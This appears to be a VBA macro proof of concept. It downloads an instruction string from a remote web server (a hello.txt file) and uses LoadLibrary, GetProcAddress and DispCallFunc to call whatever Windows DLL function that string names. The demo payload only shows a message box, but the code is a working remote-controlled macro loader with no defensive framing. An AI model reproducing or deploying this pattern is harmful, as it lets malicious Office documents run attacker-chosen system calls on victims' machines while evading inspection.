Declare PtrSafe Function DispCallFunc Lib "OleAut32.dll" (ByVal pvInstance As Long, ByVal offsetinVft As Long, ByVal CallConv As Long, ByVal retTYP As Integer, ByVal paCNT As Long, ByRef paTypes As Integer, ByRef paValues As Long, ByRef retVAR As Variant) As Long
Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Const CC_STDCALL = 4
Const MEM_COMMIT = &H1000
Const PAGE_EXECUTE_READWRITE = &H40

Private VType(0 To 63) As Integer, VPtr(0 To 63) As Long

Function GetInstructions()

With CreateObject("MSXML2.XMLHTTP")
    'The string user32,MessageBoxA,2,0,Hello this is a MessageBox,MessageBox Example, 64 is stored in the file hello.txt
    'which is located on the remote webserver
   
    .Open "GET", "https://www.secureyourit.co.uk/wp/hello.txt", False: .Send
    getHTTP = StrConv(.responseBody, vbUnicode)
End With

GetInstructions = getHTTP

End Function

Sub SayHello()
    
    Dim RetVal As Long
    Dim Result() As String
    
    'astring = "user32,MessageBoxA,2,0,Hello this is a MessageBox,MessageBox Example, 64"
    astring = GetInstructions()
    
    Result = Split(astring, ",")
    
    Dim a As String
    Dim b As String
    Dim c As VbVarType
    Dim d As VbVarType
    Dim e As String
    Dim f As String
    Dim g As VbVarType
     
    a = Result(0)
    b = Result(1)
    c = Result(2)
    d = Result(3)
    e = Result(4)
    f = Result(5)
    g = Result(6)
            
    RetVal = stdCallA(a, b, c, d, e, f, g)

End Sub

Public Function stdCallA(sDll As String, sFunc As String, ByVal RetType As VbVarType, ParamArray P() As Variant)

    Dim i As Long, pFunc As Long, V(), HRes As Long
    ReDim V(0)
  
    V = P
    
    For i = 0 To UBound(V)
        If VarType(P(i)) = vbString Then P(i) = StrConv(P(i), vbFromUnicode): V(i) = StrPtr(P(i))
            VType(i) = VarType(V(i))
            VPtr(i) = VarPtr(V(i))
        Next i
  
    HRes = DispCallFunc(0, GetProcAddress(LoadLibrary(sDll), sFunc), CC_STDCALL, RetType, i, VType(0), VPtr(0), stdCallA)
  
End Function